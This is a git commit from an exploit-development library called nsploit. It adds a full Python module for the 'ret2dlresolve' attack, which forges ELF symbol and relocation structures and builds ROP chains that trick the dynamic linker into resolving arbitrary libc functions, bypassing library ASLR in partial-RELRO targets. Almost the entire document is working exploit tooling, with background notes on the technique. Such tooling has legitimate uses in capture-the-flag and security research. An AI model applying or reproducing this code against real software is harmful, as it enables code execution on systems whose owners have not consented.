summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2024-05-19 13:50:13 -0400
committerMalfurious <m@lfurio.us>2025-01-02 06:26:07 -0500
commit640726aa11369d328c1cdfe00b4344b6a925729c (patch)
tree380028a1fcd71b29f8e2949a6df64a9713245c80
parent99891ac3402d113c44d46c3dded36ea7e28610df (diff)
downloadnsploit-640726aa11369d328c1cdfe00b4344b6a925729c.tar.gz
nsploit-640726aa11369d328c1cdfe00b4344b6a925729c.zip
rop: Add ret2dlresolve exploit module
Signed-off-by: Malfurious <m@lfurio.us>
-rw-r--r--sploit/payload/__init__.py1
-rw-r--r--sploit/payload/ret2dlresolve.py226
2 files changed, 227 insertions, 0 deletions
diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py
index 69f8056..da47cc1 100644
--- a/sploit/payload/__init__.py
+++ b/sploit/payload/__init__.py
@@ -2,4 +2,5 @@ from .fmtstring import *
from .gadhint import *
from .payload import *
from .payload_entry import *
+from .ret2dlresolve import *
from .rop import *
diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py
new file mode 100644
index 0000000..8862e22
--- /dev/null
+++ b/sploit/payload/ret2dlresolve.py
@@ -0,0 +1,226 @@
+"""
+Perform "Return to dlresolve" dynamic linker attack
+
+The ret2dlresolve technique is useful to defeat library ASLR against targets
+with partial relro (or less) and where no useable data leaks are available.
+This is specifically a workaround for ASLR of libraries such as libc, and
+addresses within the target executable are expected to be known (non-pic or
+otherwise).
+
+When a dynamic library call is performed normally, applications jump to code
+stubs in the .plt section to perform the actual relocation. This process relies
+on a couple of meta-data structures in the ELF object:
+
+Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to
+cache the real subroutine address for later calls, as well as an info field
+describing the relocation. This info field contains a type subfield and an
+index into the ELF's symbol table for the symbol to be relocated.
+
+Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the
+exploit, only the symbol name field is utilized (the others are set to zeroes).
+The name field is an offset into the ELF's string table, and the actual symbol
+name string can be found at this offset.
+
+All of the data tables mentioned above are located by their corresponding
+section in the ELF. The relocation process however does not perform any bounds
+checks to ensure the runtime data structures actually come from these sections.
+By forging custom structures, and ensuring they can be written into memory at
+precise locations, an attacker can trick the resolver to link any library
+function they desire by setting up the equivalent PLT function call via ROP.
+
+Read on for more background details:
+http://phrack.org/issues/58/4.html
+https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62
+
+Structure definitions from your standard elf.h header:
+
+typedef struct {
+ Elf32_Word st_name; /* 4b Symbol name (string tbl index) */
+ Elf32_Addr st_value; /* 4b Symbol value */
+ Elf32_Word st_size; /* 4b Symbol size */
+ unsigned char st_info; /* 1b Symbol type and binding */
+ unsigned char st_other; /* 1b Symbol visibility */
+ Elf32_Section st_shndx; /* 2b Section index */
+} Elf32_Sym;
+
+typedef struct {
+ Elf64_Word st_name; /* 4b Symbol name (string tbl index) */
+ unsigned char st_info; /* 1b Symbol type and binding */
+ unsigned char st_other; /* 1b Symbol visibility */
+ Elf64_Section st_shndx; /* 2b Section index */
+ Elf64_Addr st_value; /* 8b Symbol value */
+ Elf64_Xword st_size; /* 8b Symbol size */
+} Elf64_Sym;
+
+typedef struct {
+ Elf32_Addr r_offset; /* 4b Address */
+ Elf32_Word r_info; /* 4b Relocation type and symbol index */
+} Elf32_Rel;
+
+typedef struct {
+ Elf64_Addr r_offset; /* 8b Address */
+ Elf64_Xword r_info; /* 8b Relocation type and symbol index */
+} Elf64_Rel;
+
+Elf32_Rel.r_info = 0xAAAAAABB
+ | |
+ | type
+ symidx
+
+Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB
+ | |
+ symidx type
+"""
+
+from sploit.arch import arch, itob
+from sploit.payload.gadhint import GadHint
+from sploit.payload.payload import Payload
+from sploit.payload.payload_entry import padalign, padlen, pointer
+from sploit.payload.rop import ROP
+from sploit.rev.r2 import run_cmd
+
+_JMP_SLOT = 0x07
+
+def _symsize():
+ # Size of Elf*_Sym, used for padding and indexing
+ if arch.wordsize == 4: return 16
+ elif arch.wordsize == 8: return 24
+ raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
+
+def _relsize():
+ # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset)
+ if arch.wordsize == 4: return 1
+ elif arch.wordsize == 8: return 24
+ raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
+
+def _infoshift():
+ # Partition subfields of Elf*_Rel.r_info
+ if arch.wordsize == 4: return 8
+ elif arch.wordsize == 8: return 32
+ raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
+
+class Ret2dlresolve(ROP):
+ # Use constructor from ROP class
+
+ def reloc(self, symbol_name):
+ """
+ Generate relocation structures for the function with given symbol name.
+
+ The returned data structures are packed into a single Payload object.
+ This payload must be written into the target's memory before attempting
+ to use it with Ret2dlresolve.call(). Furthermore, the chosen write
+ location must be assigned to the payload base property, so that internal
+ pointers may take on the appropriate values.
+
+ See Ret2dlresolve.determine_address() for advice on choosing a write
+ location.
+
+ symbol_name (str): Name of library function to link
+ """
+ binary = self.objects[0]
+ symtab = binary.sym.sect['.dynsym']
+ strtab = binary.sym.sect['.dynstr']
+
+ try:
+ jmprel = binary.sym.sect['.rel.plt']
+ except KeyError:
+ jmprel = binary.sym.sect['.rela.plt']
+
+ # Elf*_Rel.r_info
+ info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT
+
+ # The sym structure is the most picky about its location in memory. So
+ # it is listed first in the main dlres struct, which can be placed at
+ # the desired location.
+ sym = Payload()
+ sym.name = pointer("symbol_string", lambda x: x - strtab)
+ sym.pad = padlen(_symsize(), b"\x00")
+ sym.symbol_string = symbol_name
+
+ dlres = Payload()
+ dlres.symalign = padalign(_symsize(), reference=symtab)
+ dlres.sym = sym
+ dlres.relalign = padalign(_relsize(), reference=jmprel)
+ dlres.offset = pointer()
+ dlres.info = pointer("sym", info)
+ return dlres
+
+ def determine_address(self, start=None, end=None, n=0):
+ """
+ Determine recommended address for relocation structures.
+
+ There are a couple considerations to make when determining the memory
+ locations. First of all, the location must be writable. More
+ importantly, since most items are referred to by an array index, the
+ structures themselves must be properly aligned, reference to the array
+ origins.
+
+ The payload returned from Ret2dlresolve.reloc() has some of these
+ alignments built in, but one crucial one is not. The index implied by
+ Elf*_Sym's offset from the symtab base is the same index used to lookup
+ symbol version information, reference to versym. The data at this index
+ must constitute a valid version half-word (16-bits). This function
+ attempts to ensure that the coincident version info for any returned
+ value is the data \x00\x00. Getting this wrong can cause the dlresolve
+ routine to crash.
+
+ start (int): Minimum address to recommend (default: .bss section address)
+ end (int): Maximum address to recommend (default: end of memory page)
+ n (int): Return the Nth useable address within the defined range
+ """
+ binary = self.objects[0]
+ symtab = binary.sym.sect['.dynsym']
+ versym = binary.sym.sect['.gnu.version']
+ bss = binary.sym.sect['.bss']
+
+ if start is None: start = bss
+ if end is None: end = (start & ~0xfff) + 0x1000
+
+ zero_words = run_cmd(binary.path, "/x 0000")
+ zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ]
+
+ # Size of version entry is always 2 bytes.
+ veroff = [ x - versym for x in zero_words ]
+ idx = [ x//2 for x in veroff if x%2 == 0 ]
+ symoff = [ x * _symsize() for x in idx ]
+ addr = [ x + symtab for x in symoff ]
+ addr = [ x for x in addr if start <= x < end ]
+
+ if len(addr) > n:
+ return addr[n]
+
+ raise AssertionError("Ret2dlresolve: No suitable memory location")
+
+ # Overrides ROP.call()
+ def call(self, reloc, *params):
+ """
+ Return a ROP payload to call function via dynamic linker.
+
+ reloc's base address must be set appropriately.
+
+ reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc()
+ *params (int): Remaining positional args are passed to function.
+ """
+ binary = self.objects[0]
+ plt = binary.sym.sect['.plt']
+
+ try:
+ jmprel = binary.sym.sect['.rel.plt']
+ except KeyError:
+ jmprel = binary.sym.sect['.rela.plt']
+
+ register_params = dict(zip(arch.funcargs, params))
+ stack_params = params[len(register_params):]
+ index = int(reloc.offset - jmprel) // _relsize()
+
+ reqs = GadHint(requirements=register_params)
+ call = GadHint(index, stack=stack_params)
+ ret = GadHint(self.search_gadget(arch.ret))
+
+ chain = Payload()
+ try: chain.requirements = self.gadget(reqs).requirements
+ except KeyError: pass
+ chain.alignment = padalign(0, itob(ret))
+ chain.plt = plt
+ chain.call = self.gadget(call)
+ return chain